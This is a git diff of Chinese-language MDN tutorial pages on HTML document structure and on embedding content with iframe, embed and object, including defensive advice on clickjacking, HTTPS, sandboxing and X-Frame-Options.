请花一些时间来阅读,其中的注释应该能够帮助你理解这些代码。现在能够理解上面的代码就可以,因为编写一套正确的 HTML 结构是理解文档布局的前提,布局工作就交给 CSS 吧。在学习 CSS 一章时我们再展开介绍。

- -

HTML 布局元素细节

- -

理解所有 HTML 区段元素具体含义是很有益处的,这一点将随着个人 web 开发经验的逐渐丰富日趋显现。更多细节请查阅 HTML 元素参考。现在,你只需要理解以下主要元素的意义:

- - - -

无语义元素

- -

有时你会发现,对于一些要组织的项目或要包装的内容,现有的语义元素均不能很好对应。有时候你可能只想将一组元素作为一个单独的实体来修饰来响应单一的用 {{glossary("CSS")}} 或 {{glossary("JavaScript")}}。为了应对这种情况,HTML提供了 {{HTMLElement("div")}} 和 {{HTMLElement("span")}} 元素。应配合使用 {{htmlattrxref('class')}} 属性提供一些标签,使这些元素能易于查询。

- -

{{HTMLElement("span")}} 是一个内联的(inline)无语义元素,最好只用于无法找到更好的语义元素来包含内容时,或者不想增加特定的含义时。例如:

- -
<p>国王喝得酩酊大醉,在凌晨 1 点时才回到自己的房间,踉跄地走过门口。<span class="editor-note">[编辑批注:此刻舞台灯光应变暗]</span>.</p>
- -

这里,“编辑批注”仅仅是对舞台剧导演提供额外指引;没有具体语义。对于视力正常的用户,CSS 应将批注内容与主内容稍微隔开一些。

- -

{{HTMLElement("div")}} 是一个块级无语义元素,应仅用于找不到更好的块级元素时,或者不想增加特定的意义时。例如,一个电子商务网站页面上有一个一直显示的购物车组件。

- -
<div class="shopping-cart">
-  <h2>购物车</h2>
-  <ul>
-    <li>
-      <p><a href=""><strong>银耳环</strong></a>:$99.95.</p>
-      <img src="../products/3333-0985/" alt="Silver earrings">
-    </li>
-    <li>
-      ...
-    </li>
-  </ul>
-  <p>售价:$237.89</p>
-</div>
- -

这里不应使用 <aside>,因为它和主内容并没有必要的联系(你想在任何地方都能看到它)。甚至不能用 <section> ,因为它也不是页面上主内容的一部分。所以在这种情况下就应使用 <div>,为满足无障碍使用特征,还应为购物车的标题设置一个可读标签。

- -
-

警告:<div> 非常便利但容易被滥用。由于它们没有语义值,会使 HTML 代码变得混乱。要小心使用,只有在没有更好的语义方案时才选择它,而且要尽可能少用, 否则文档的升级和维护工作会非常困难。

-
- -

换行与水平分割线

- -

有时会用到 {{htmlelement("br")}} 和 {{htmlelement("hr")}} 两个元素,需要介绍一下。

- -

<br> 可在段落中进行换行;<br> 是唯一能够生成多个短行结构(例如邮寄地址或诗歌)的元素。比如:

- -
<p>从前有个人叫小高<br>
-他说写 HTML 感觉最好<br>
-但他写的代码结构语义一团糟<br>
-他写的标签谁也懂不了。</p>
-
- -

没有 <br> 元素,这段会直接显示在长长的一行中(如前文所讲,HTML会忽略大部分空格);使用 <br> 元素,才使得诗看上去像诗:

- -

从前有个人叫小高
- 他说写 HTML 感觉最好
- 但他写的代码结构语义一团糟
- 他写的标签谁也懂不了。

- -

<hr> 元素在文档中生成一条水平分割线,表示文本中主题的变化(例如话题或场景的改变)。一般就是一条水平的直线。例如:

- -
<p>原来这唐僧是个慈悯的圣僧。他见行者哀告,却也回心转意道:“既如此说,且饶你这一次。再休无礼。如若仍前作恶,这咒语颠倒就念二十遍!”行者道:“三十遍也由你,只是我不打人了。”却才伏侍唐僧上马,又将摘来桃子奉上。唐僧在马上也吃了几个,权且充饥。</p>
-<hr>
-<p>却说那妖精,脱命升空。原来行者那一棒不曾打杀妖精,妖精出神去了。他在那云端里,咬牙切齿,暗恨行者道:“几年只闻得讲他手段,今日果然话不虚传。那唐僧已此不认得我,将要吃饭。若低头闻一闻儿,我就一把捞住,却不是我的人了。不期被他走来,弄破我这勾当,又几乎被他打了一棒。若饶了这个和尚,诚然是劳而无功也。我还下去戏他一戏。”</p>
- -

将渲染成:

- -

原来这唐僧是个慈悯的圣僧。他见行者哀告,却也回心转意道:“既如此说,且饶你这一次。再休无礼。如若仍前作恶,这咒语颠倒就念二十遍!”行者道:“三十遍也由你,只是我不打人了。”却才伏侍唐僧上马,又将摘来桃子奉上。唐僧在马上也吃了几个,权且充饥。

- -
-

却说那妖精,脱命升空。原来行者那一棒不曾打杀妖精,妖精出神去了。他在那云端里,咬牙切齿,暗恨行者道:“几年只闻得讲他手段,今日果然话不虚传。那唐僧已此不认得我,将要吃饭。若低头闻一闻儿,我就一把捞住,却不是我的人了。不期被他走来,弄破我这勾当,又几乎被他打了一棒。若饶了这个和尚,诚然是劳而无功也。我还下去戏他一戏。”

- -

规划一个简单的网站

- -

在完成页面内容的规划后,一般应按部就班地规划整个网站的内容,要可能带给用户最好的体验,需要哪些页面、如何排列组合这些页面、如何互相链接等问题不可忽略。这些工作称为{{glossary("Information architecture", "信息架构")}}。在大型网站中,大多数规划工作都可以归结于此,而对于一个只有几个页面的简单网站,规划设计过程可以更简单,更有趣!

- -
    -
  1. 时刻记住,大多数(不是全部)页面会使用一些相同的元素,例如导航菜单以及页脚内容。若网站为商业站点,不妨在所有页面的页脚都加上联系方式。请记录这些对所有页面都通用的内容:所有页面共有的内容,包括:站点标题、Logo、联系方式、版权声明、语言等信息。
  2. -
  3. 接下来,可为页面结构绘制草图(这里与前文那个站点页面的截图类似)。记录每一块的作用:简单的页面布局示意图,有页眉、页脚、主内容、侧边栏。
  4. -
  5. 下面,对于期望添加进站点的所有其它(通用内容以外的)内容展开头脑风暴,直接罗列出来。把假日旅行站点的所有功能罗列到一个列表中
  6. -
  7. 下一步,试着对这些内容进行分组,这样可以让你了解哪些内容可以放在同一个页面。这种做法和 {{glossary("Card sorting", "卡片分类法")}} 非常相似。假日网站的页面应分5类:搜索、特别提供、具体国家信息、搜索结果、购物。
  8. -
  9. 接下来,试着绘制一个站点地图的草图,使用一个气泡代表网站的一个页面,并绘制连线来表示页面间的一般工作流。主页面一般置于中心,且链接到其他大多数页面;小型网站的大多数页面都可以从主页的导航栏中链接跳转。也可记录下内容的显示方式。
  10. -
- -

主动学习:创建站点地图

- -

自己创造一个网站(什么网站呢?)并尝试执行上述步骤。

- -
-

注:记得保存你的杰作,今后可能会用到哦。

-
- -

小结

- -

现在你应该对如何构建网页/站点有了更好的理解。下一节我们将学习如何调试 HTML。

- -

另请参阅

- - - -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}

- -

本章目录

- - diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html new file mode 100644 index 0000000000..c66ca6499e --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -0,0 +1,254 @@ +--- +title: 从对象到iframe - 其他嵌入技术 +slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 +translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}
+ +

到目前为止,您应该掌握了将图像、视频和音频嵌入到网页上的诀窍了。此刻,让我们继续深入学习,来看一些能让您在网页中嵌入各种内容类型的元素: {{htmlelement("iframe")}}, {{htmlelement("embed")}} 和{{htmlelement("object")}} 元素。<iframe>于嵌入其他网页,另外两个元素则允许您嵌入PDF,SVG,甚至Flash — 一种正在被淘汰的技术,但您仍然会时不时的看到它。

+ + + + + + + + + + + + +
预备知识:本的计算机知识,安装基础软件文件处理 的基本知识,熟悉HTML基础知识(阅读 开始学习 HTML)以及本模块中以前的文章
学习目标:要了解如何使用<object><embed>以及<iframe>在网页中嵌入部件,例如Flash电影或其他网页。
+ +

嵌入的简史

+ +

很久以前,很流行在网络上使用框架创建网站 — 网站的一小部分存储于单独的HTML页面中这些被嵌入在一个称为框架集的主文档中,它允许您指定每个框架能够填充在屏幕上的区域,非常像调整表格的列和行的大小。这些做法在90年代中期至90年代后期被认为是比较酷的,有证据表明,将网页分解成较小的块,这样有利于下载速度 —尤其是在那时网络连接速度太慢的情况下更为明显然而,这些技术有很多问题,随着网络速度越来越快,这些技术带来的问题远超过它们带来的积极因素,所以你再也看不到它们被使用了。

+ +

一小段时间之后(20世纪90年代末,21世纪初),插件技术变得非常受欢迎,例如Java AppletFlash — 这些技术允许网络开发者将丰富的内容嵌入到网页中,例如视频和动画等,这些内容不能通过HTML单独实现。嵌入这些技术是通过诸如<object>和较少使用<embed>元素来实现的,当时它们非常有用。由于许多问题,包括可访问性、安全性、文件大小等,它们已经过时了; 如今,大多数移动设备不再支持这些插件,桌面端也逐渐不再支持。

+ +

最后,<iframe>元素出现了(连同其他嵌入内容的方式,如<canvas><video>等),它提供了一种将整个web页嵌入到另一个网页的方法,看起来就像那个web页是另一个网页的一个{{htmlelement("img")}}或其他元素一样。{{htmlelement("iframe")}}现在经常被使用

+ +

了解完历史之后,让我们继续往下看以了解如何使用它们。

+ +

自主学习:嵌入类型的使用

+ +

在这篇文章中,我们将直接进入自主学习部分,让你立即体会到嵌入技术的实用性。大家都非常熟悉Youtube,但很多人不了解它所提供的一些分享功能。让我们来看看Youtube如何让我们通过<iframe>在页面中嵌入喜欢的视频

+ +
    +
  1. 首先,去Youtube找一个喜欢的视频。
  2. +
  3. 在视频下方,您会看到一个共享按钮 - 点击查看共享选项。
  4. +
  5. 选择“ 嵌入”选项卡,您将得到一些<iframe>代码 - 复制一下。
  6. +
  7. 粘贴到下面输入框里,看看输出结果是什么
  8. +
+ +

此外,您还可以试试在示例中嵌入Google地图

+ +
    +
  1. 去Google地图找一个喜欢的地图。
  2. +
  3. 点击UI左上角的“汉堡菜单”(三条水平线)。
  4. +
  5. 选择共享或嵌入地图选项。
  6. +
  7. 选择嵌入地图选项,这将给你一些<iframe>代码 - 复制一下。
  8. +
  9. 粘贴到下面输入框,看看输出结果是什么
  10. +
+ +

如果你犯了某些错误,你可以点击Reset按钮以重置编辑器。如果你确实被卡住了, 按下Show solution按钮以借鉴答案。

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}

+ +

Iframe详解

+ +

是不是很简单又有趣呢?<iframe>元素旨在允许您将其他Web文档嵌入到当前文档中。这很适合将第三方内容嵌入您的网站,您可能无法直接控制,也不希望实现自己的版本 - 例如来自在线视频提供商的视频,Disqus等评论系统,在线地图提供商,广告横幅等。您通过本课程使用的实时可编辑示例就是使用<iframe> 实现的

+ +

们会在后面提到,关于<iframe>有一些严重的{{anch("安全隐患")}}需要考虑,但这并不意味着你不应该在你的网站上使用它们 — 它只需要一些知识和仔细地思考。让我们更详细地探索这些代码。假设您想在其中一个网页上加入MDN词汇表,您可以尝试以下方式:

+ +
<iframe src="https://developer.mozilla.org/en-US/docs/Glossary"
+        width="100%" height="500" frameborder="0"
+        allowfullscreen sandbox>
+  <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary">
+    Fallback link for browsers that don't support iframes
+  </a> </p>
+</iframe>
+
+ +

此示例包括使用以下所需的<iframe>基本要素:

+ +
+
allowfullscreen
+
如果设置,<iframe>则可以通过全屏API设置为全屏模式(稍微超出本文的范围)。
+
frameborder
+
如果设置为1,则会告诉浏览器在此框架和其他框架之间绘制边框,这是默认行为。0删除边框。不推荐这样设置,因为CSS中可以更好地实现相同的效果border: none;
+
src
+
该属性与<video>/<img>一样包含指向要嵌入文档的URL路径。
+
width 和 height
+
这些属性指定您想要的iframe的宽度和高度。
+
+ +
+
备选内容
+
<video>等其他类似元素相同,您可以在<iframe></iframe>标签之间包含备选内容,如果浏览器不支持<iframe>,将会显示备选内容,这种情况下,我们已经添加了一个到该页面的链接。现在您几乎不可能遇到任何不支持<iframe>浏览器
+
sandbox
+
该属性需要在已经支持其他<iframe>功能(例如IE 10及更高版本)但稍微更现代的浏览器上才能工作,该属性可以提高安全性设置; 我们将在下一节中更加详细地谈到。
+
+ +
+

注意:为了提高速度,在主内容完成加载后,使用JavaScript设置iframe的src属性是个好主意这使您的页面可以更快地被使用,并减少您的官方页面加载时间(重要的SEO指标)。

+
+ +

安全隐患

+ +

以上我们提到了安全问题 - 现在我们来详细介绍一下这一点。我们并不期望您第一次就能完全理解所有内容; 我们只想让您意识到这一问题,在您更有经验并开始考虑在您的实验和工作中使用<iframe>时为你提供参考此外,没有必要害怕和不使用<iframe>—你只需要谨慎一点。继续看下去吧...

+ +

浏览器制造商和Web开发人员了解到网络上的坏人(通常被称为黑客,或更准确地说是破解者,如果他们试图恶意修改您的网页或欺骗人们进行不想做的事情时常把iframe作为共同的攻击目标(官方术语:攻击向量),例如显示用户名和密码等敏感信息。因此,规范工程师和浏览器开发人员已经开发了各种安全机制,使<iframe>更加安全,这有些最佳方案值得我们考虑 - 我们将在下面介绍其中的一些。

+ +
+

单击劫持是一种常见的iframe攻击,黑客将隐藏的iframe嵌入到您的文档中(或将您的文档嵌入到他们自己的恶意网站),并使用它来捕获用户的交互。这是误导用户或窃取敏感数据的常见方式。

+
+ +

一个快速的例子 — 尝试在浏览器中加载上面的例子 - 你也可以在Github上找到它参见源代码)。你将不会看到任何内容,但如果你点击浏览器开发者工具中的控制台,你会看到一条消息,告诉你为什么没有显示内容。在Firefox中,您会被告知:“X-Frame-Options拒绝加载https://developer.mozilla.org/en-US/docs/Glossary”这是因为构建MDN的开发人员已经在网站页面的服务器上设置了一个不允许被嵌入到<iframe>的设置(请参阅配置CSP指令)这是有必要的 — 整个MDN页面被嵌入在其他页面中没有多大意义,除非您想要将其嵌入到您的网站上并将其声称为自己的内容,或尝试通过单击劫持来窃取数据,这都是非常糟糕的事情。此外,如果每个人都这样做,所有额外的带宽将花费Mozilla很多资金。

+ +

只有在必要时嵌入

+ +

有时嵌入第三方内容(例如YouTube视频和地图)是有意义的,但如果您只在完全需要时嵌入第三方内容,您可以省去很多麻烦。网络安全的一个很好的经验法则是“你怎么谨慎都不为过,如果你决定要做这件事,多检查一遍;如果是别人做的,在被证明是安全的之前,都假设这是危险的。”

+ +
+

除了安全问题,你还应该意识到知识产权问题。无论在线内容还是离线内容,绝大部分内容都是有版权的,甚至是一些你没想到有版权的内容(例如,Wikimedia Commons上的大多数图片)。不要在网页上展示一些不属于你的内容,除非你是所有者或所有者给了你明确的、书面的许可。对于侵犯版权的惩罚是严厉的。再说一次,你再小心也不为过。

+ +

如果内容获得许可,你必须遵守许可条款。例如,MDN上的内容是在CC-BY-SA下许可的,这意味着,如果你要引用我们的内容,就必须用适当的方式注明来源,即使你对内容做了实质性的修改。

+
+ +

使用 HTTPS

+ +

HTTPSHTTP的加密版本您应该尽可能使用HTTPS为您的网站提供服务:

+ +
    +
  1. HTTPS减少了远程内容在传输过程中被篡改的机会,
  2. +
  3. HTTPS防止嵌入式内容访问您的父文档中的内容,反之亦然。
  4. +
+ +

使用HTTPS需要一个安全证书,这可能是昂贵的(尽管Let's Encrypt让这件事变得更容易),如果你没有,可以使用HTTP来为你的父文档提供服务。但是,由于HTTPS的第二个好处,无论成本如何,您绝对不能使用HTTP嵌入第三方内容(在最好的情况下,您的用户的Web浏览器会给他们一个可怕的警告)。所有有声望的公司,例如Google Maps或Youtube,当您嵌入内容时,<iframe>将通过HTTPS提供 - 查看<iframe> src属性内的URL。

+ +
+

注意Github页面允许默认情况下通过HTTPS提供内容,因此对托管内容很有用。如果您正在使用不同的托管,并且不确定,请向您的托管服务商询问。

+
+ +

始终使用sandbox属性

+ +

想尽可能减少攻击者在你的网站上做坏事的机会,那么你应该给嵌入的内容仅能完成自己工作的权限当然,这也适用于你自己的内容。一个允许包含在其里的代码以适当的方式执行或者用于测试,但不能对其他代码库(意外或恶意)造成任何损害的容器称为沙盒

+ +

未沙盒化(Unsandboxed)内容可以做得太多(执行JavaScript,提交表单,弹出窗口等)默认情况下,您应该使用没有参数的sandbox属性来强制执行所有可用的限制,如我们前面的示例所示。

+ +

如果绝对需要,您可以逐个添加权限(sandbox=""属性值内) - 请参阅sandbox所有可用选项参考条目。其中重要的一点是,你永远不应该同时添加allow-scriptsallow-same-origin到你的sandbox属性中-在这种情况下,嵌入式内容可以绕过阻止站点执行脚本的同源安全策略,并使用JavaScript完全关闭沙盒。

+ +
+

注意如果攻击者可以欺骗人们直接访问恶意内容(在iframe之外),则沙盒无法提供保护。如果某些内容可能是恶意的(例如,用户生成的内容),请保证其是从不同的向您的主站点提供的。

+
+ +

配置CSP指令

+ +

CSP代表内容安全策略,它提供一组HTTP标头(由web服务器发送时与元数据一起发送的元数据),旨在提高HTML文档的安全性。<iframe>s安全性方面,您可以将服务器配置为发送适当的X-Frame-Options  标题。这样做可以防止其他网站在其网页中嵌入您的内容(这将导致点击和一系列其他攻击),正如我们之前看到的那样,MDN开发人员已经做了这些工作。

+ +
+

注意:您可以阅读Frederik Braun的帖子在X-Frame-Options安全性头上获取有关此主题的更多背景信息。显然,在这篇文章中已经解释得很清楚了。

+
+ +

<embed>和<object>元素

+ +

<embed><object>元素的功能不同于<iframe>—— 这些元素是用来嵌入多种类型的外部内容的通用嵌入工具,其中包括像Java小程序和Flash,PDF(可在浏览器中显示为一个PDF插件)这样的插件技术,甚至像视频,SVG和图像的内容!

+ +
+

注意插件是一种对浏览器原生无法读取的内容提供访问权限的软件。

+
+ +

然而,您不太可能使用这些元素 - Applet几年来一直没有被使用;由于许多原因,Flash不再受欢迎(见下面的插件案例);PDF更倾向于被链接而不是被嵌入;其他内容,如图像和视频都有更优秀、更容易元素来处理。插件和这些嵌入方法真的是一种传统技术,我们提及它们主要是为了以防您在某些情况下遇到问题,比如内部网或企业项目等。

+ +

如果您发现自己需要嵌入插件内容,那么您至少需要一些这样的信息:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{htmlelement("embed")}}{{htmlelement("object")}}
嵌入内容的网址{{htmlattrxref('src','embed')}}{{htmlattrxref('data','object')}}
嵌入内容的准确媒体类型{{htmlattrxref('type','embed')}}{{htmlattrxref('type','object')}}
由插件控制的框的高度和宽度(以CSS像素为单位){{htmlattrxref('height','embed')}}
+ {{htmlattrxref('width','embed')}}
{{htmlattrxref('height','object')}}
+ {{htmlattrxref('width','object')}}
名称和值,将插件作为参数提供具有这些名称和值的ad hoc属性单标签<param>元素,包含在内<object>
独立的HTML内容作为不可用资源的回退不支持(<noembed>已过时)包含在元素<object>之后<param>
+ +
+

注意<object>需要data属性,type属性或两者。如果您同时使用这两个,您也可以使用该typemustmatch属性(仅在Firefox中实现,在本文中)。typemustmatch保持嵌入文件不运行,除非type属性提供正确的媒体类型。typemustmatch因此,当您嵌入来自不同来源的内容(可以防止攻击者通过插件运行任意脚本)时,可以赋予重要的安全优势

+
+ +

下面是一个使用该<embed>元素嵌入Flash影片的示例(请参阅此处的Github,并检查源代码):

+ +
<embed src="whoosh.swf" quality="medium"
+       bgcolor="#ffffff" width="550" height="400"
+       name="whoosh" align="middle" allowScriptAccess="sameDomain"
+       allowFullScreen="false" type="application/x-shockwave-flash"
+       pluginspage="http://www.macromedia.com/go/getflashplayer">
+ +

很可怕,不是吗 。Adobe Flash工具生成的HTML往往更糟糕,使用嵌入<object>元素的<embed>元素来覆盖所有的基础(查看一个例子)。甚至有一段时间,Flash被成功地用作HTML5视频的备用内容,但是这种情况越来越被认为是不必要的。

+ +

现在来看一个<object>将PDF嵌入一个页面的例子(参见实例源代码):

+ +
<object data="mypdf.pdf" type="application/pdf"
+        width="800" height="1200" typemustmatch>
+  <p>You don't have a PDF plugin, but you can <a href="myfile.pdf">download the PDF file.</a></p>
+</object>
+ +

PDF是纸与数据之间重要的阶梯,但它们在可访问性上有些问题并且可能难以在小屏幕上阅读。它们在一些圈子中仍然受欢迎,我们最好是用链接指向它们,而不是将其嵌入到网页中,以便它们可以在单独的页面上被下载或被阅读。

+ +

针对插件的情况

+ +

以前,插件在网络上是不可或缺的。还记得你必须安装Adobe Flash Player才能在线观看电影的日子吗?并且你还会不断地收到关于更新Flash Player和Java运行环境的烦人警报。Web技术已经变得更加强大,那些日子已经结束了。对于大多数应用程序,现在是停止依赖插件传播内容,开始利用Web技术的时候了。

+ + + +

那你该怎么办?如果您需要交互性,HTML和JavaScript可以轻松地为您完成工作,而不需要Java小程序或过时的ActiveX / BHO技术。您可以使用HTML5视频来满足媒体需求,矢量图形SVG,以及复杂图像和动画画布彼得·埃尔斯特(Peter Elst)几年前已经提到,对于工作Adobe Flash极少是正确的工具,除了专门的游戏和商业应用。对于ActiveX,即使微软的Edge浏览器也不再支持。

+ +

总结

+ +

在Web文档中嵌入其他内容这一主题可以很快变得非常复杂,因此在本文中,我们尝试以一种简单而熟悉的方式来介绍它,这种介绍方式将立即显示出相关性,同时仍暗示了一些涉及更高级功能的技术。刚开始,除了嵌入第三方内容(如地图和视频),您不太可能在网页上使用到嵌入技术。当你变得更有经验时,你可能会开始为他们找到更多的用途。

+ +

除了我们在这里讨论的那些外,还有许多涉及嵌入外部内容的技术。我们看到了一些在前面的文章中出现的,如<video><audio><img>,但还有其它的有待关注,如  <canvas>用于JavaScript生成的2D和3D图形,<svg>用于嵌入矢量图形我们将在此学习模块的下一篇文章中学习SVG

+ +

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}

diff --git "a/files/zh-cn/learn/html/multimedia_and_embedding/\345\205\266\344\273\226\345\265\214\345\205\245\346\212\200\346\234\257/index.html" "b/files/zh-cn/learn/html/multimedia_and_embedding/\345\205\266\344\273\226\345\265\214\345\205\245\346\212\200\346\234\257/index.html" deleted file mode 100644 index c66ca6499e..0000000000 --- "a/files/zh-cn/learn/html/multimedia_and_embedding/\345\205\266\344\273\226\345\265\214\345\205\245\346\212\200\346\234\257/index.html" +++ /dev/null @@ -1,254 +0,0 @@ ---- -title: 从对象到iframe - 其他嵌入技术 -slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 -translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}
- -

到目前为止,您应该掌握了将图像、视频和音频嵌入到网页上的诀窍了。此刻,让我们继续深入学习,来看一些能让您在网页中嵌入各种内容类型的元素: {{htmlelement("iframe")}}, {{htmlelement("embed")}} 和{{htmlelement("object")}} 元素。<iframe>于嵌入其他网页,另外两个元素则允许您嵌入PDF,SVG,甚至Flash — 一种正在被淘汰的技术,但您仍然会时不时的看到它。

- - - - - - - - - - - - -
预备知识:本的计算机知识,安装基础软件文件处理 的基本知识,熟悉HTML基础知识(阅读 开始学习 HTML)以及本模块中以前的文章
学习目标:要了解如何使用<object><embed>以及<iframe>在网页中嵌入部件,例如Flash电影或其他网页。
- -

嵌入的简史

- -

很久以前,很流行在网络上使用框架创建网站 — 网站的一小部分存储于单独的HTML页面中这些被嵌入在一个称为框架集的主文档中,它允许您指定每个框架能够填充在屏幕上的区域,非常像调整表格的列和行的大小。这些做法在90年代中期至90年代后期被认为是比较酷的,有证据表明,将网页分解成较小的块,这样有利于下载速度 —尤其是在那时网络连接速度太慢的情况下更为明显然而,这些技术有很多问题,随着网络速度越来越快,这些技术带来的问题远超过它们带来的积极因素,所以你再也看不到它们被使用了。

- -

一小段时间之后(20世纪90年代末,21世纪初),插件技术变得非常受欢迎,例如Java AppletFlash — 这些技术允许网络开发者将丰富的内容嵌入到网页中,例如视频和动画等,这些内容不能通过HTML单独实现。嵌入这些技术是通过诸如<object>和较少使用<embed>元素来实现的,当时它们非常有用。由于许多问题,包括可访问性、安全性、文件大小等,它们已经过时了; 如今,大多数移动设备不再支持这些插件,桌面端也逐渐不再支持。

- -

最后,<iframe>元素出现了(连同其他嵌入内容的方式,如<canvas><video>等),它提供了一种将整个web页嵌入到另一个网页的方法,看起来就像那个web页是另一个网页的一个{{htmlelement("img")}}或其他元素一样。{{htmlelement("iframe")}}现在经常被使用

- -

了解完历史之后,让我们继续往下看以了解如何使用它们。

- -

自主学习:嵌入类型的使用

- -

在这篇文章中,我们将直接进入自主学习部分,让你立即体会到嵌入技术的实用性。大家都非常熟悉Youtube,但很多人不了解它所提供的一些分享功能。让我们来看看Youtube如何让我们通过<iframe>在页面中嵌入喜欢的视频

- -
    -
  1. 首先,去Youtube找一个喜欢的视频。
  2. -
  3. 在视频下方,您会看到一个共享按钮 - 点击查看共享选项。
  4. -
  5. 选择“ 嵌入”选项卡,您将得到一些<iframe>代码 - 复制一下。
  6. -
  7. 粘贴到下面输入框里,看看输出结果是什么
  8. -
- -

此外,您还可以试试在示例中嵌入Google地图

- -
    -
  1. 去Google地图找一个喜欢的地图。
  2. -
  3. 点击UI左上角的“汉堡菜单”(三条水平线)。
  4. -
  5. 选择共享或嵌入地图选项。
  6. -
  7. 选择嵌入地图选项,这将给你一些<iframe>代码 - 复制一下。
  8. -
  9. 粘贴到下面输入框,看看输出结果是什么
  10. -
- -

如果你犯了某些错误,你可以点击Reset按钮以重置编辑器。如果你确实被卡住了, 按下Show solution按钮以借鉴答案。

- - - -

{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}

- -

Iframe详解

- -

是不是很简单又有趣呢?<iframe>元素旨在允许您将其他Web文档嵌入到当前文档中。这很适合将第三方内容嵌入您的网站,您可能无法直接控制,也不希望实现自己的版本 - 例如来自在线视频提供商的视频,Disqus等评论系统,在线地图提供商,广告横幅等。您通过本课程使用的实时可编辑示例就是使用<iframe> 实现的

- -

们会在后面提到,关于<iframe>有一些严重的{{anch("安全隐患")}}需要考虑,但这并不意味着你不应该在你的网站上使用它们 — 它只需要一些知识和仔细地思考。让我们更详细地探索这些代码。假设您想在其中一个网页上加入MDN词汇表,您可以尝试以下方式:

- -
<iframe src="https://developer.mozilla.org/en-US/docs/Glossary"
-        width="100%" height="500" frameborder="0"
-        allowfullscreen sandbox>
-  <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary">
-    Fallback link for browsers that don't support iframes
-  </a> </p>
-</iframe>
-
- -

此示例包括使用以下所需的<iframe>基本要素:

- -
-
allowfullscreen
-
如果设置,<iframe>则可以通过全屏API设置为全屏模式(稍微超出本文的范围)。
-
frameborder
-
如果设置为1,则会告诉浏览器在此框架和其他框架之间绘制边框,这是默认行为。0删除边框。不推荐这样设置,因为CSS中可以更好地实现相同的效果border: none;
-
src
-
该属性与<video>/<img>一样包含指向要嵌入文档的URL路径。
-
width 和 height
-
这些属性指定您想要的iframe的宽度和高度。
-
- -
-
备选内容
-
<video>等其他类似元素相同,您可以在<iframe></iframe>标签之间包含备选内容,如果浏览器不支持<iframe>,将会显示备选内容,这种情况下,我们已经添加了一个到该页面的链接。现在您几乎不可能遇到任何不支持<iframe>浏览器
-
sandbox
-
该属性需要在已经支持其他<iframe>功能(例如IE 10及更高版本)但稍微更现代的浏览器上才能工作,该属性可以提高安全性设置; 我们将在下一节中更加详细地谈到。
-
- -
-

注意:为了提高速度,在主内容完成加载后,使用JavaScript设置iframe的src属性是个好主意这使您的页面可以更快地被使用,并减少您的官方页面加载时间(重要的SEO指标)。

-
- -

安全隐患

- -

以上我们提到了安全问题 - 现在我们来详细介绍一下这一点。我们并不期望您第一次就能完全理解所有内容; 我们只想让您意识到这一问题,在您更有经验并开始考虑在您的实验和工作中使用<iframe>时为你提供参考此外,没有必要害怕和不使用<iframe>—你只需要谨慎一点。继续看下去吧...

- -

浏览器制造商和Web开发人员了解到网络上的坏人(通常被称为黑客,或更准确地说是破解者,如果他们试图恶意修改您的网页或欺骗人们进行不想做的事情时常把iframe作为共同的攻击目标(官方术语:攻击向量),例如显示用户名和密码等敏感信息。因此,规范工程师和浏览器开发人员已经开发了各种安全机制,使<iframe>更加安全,这有些最佳方案值得我们考虑 - 我们将在下面介绍其中的一些。

- -
-

单击劫持是一种常见的iframe攻击,黑客将隐藏的iframe嵌入到您的文档中(或将您的文档嵌入到他们自己的恶意网站),并使用它来捕获用户的交互。这是误导用户或窃取敏感数据的常见方式。

-
- -

一个快速的例子 — 尝试在浏览器中加载上面的例子 - 你也可以在Github上找到它参见源代码)。你将不会看到任何内容,但如果你点击浏览器开发者工具中的控制台,你会看到一条消息,告诉你为什么没有显示内容。在Firefox中,您会被告知:“X-Frame-Options拒绝加载https://developer.mozilla.org/en-US/docs/Glossary”这是因为构建MDN的开发人员已经在网站页面的服务器上设置了一个不允许被嵌入到<iframe>的设置(请参阅配置CSP指令)这是有必要的 — 整个MDN页面被嵌入在其他页面中没有多大意义,除非您想要将其嵌入到您的网站上并将其声称为自己的内容,或尝试通过单击劫持来窃取数据,这都是非常糟糕的事情。此外,如果每个人都这样做,所有额外的带宽将花费Mozilla很多资金。

- -

只有在必要时嵌入

- -

有时嵌入第三方内容(例如YouTube视频和地图)是有意义的,但如果您只在完全需要时嵌入第三方内容,您可以省去很多麻烦。网络安全的一个很好的经验法则是“你怎么谨慎都不为过,如果你决定要做这件事,多检查一遍;如果是别人做的,在被证明是安全的之前,都假设这是危险的。”

- -
-

除了安全问题,你还应该意识到知识产权问题。无论在线内容还是离线内容,绝大部分内容都是有版权的,甚至是一些你没想到有版权的内容(例如,Wikimedia Commons上的大多数图片)。不要在网页上展示一些不属于你的内容,除非你是所有者或所有者给了你明确的、书面的许可。对于侵犯版权的惩罚是严厉的。再说一次,你再小心也不为过。

- -

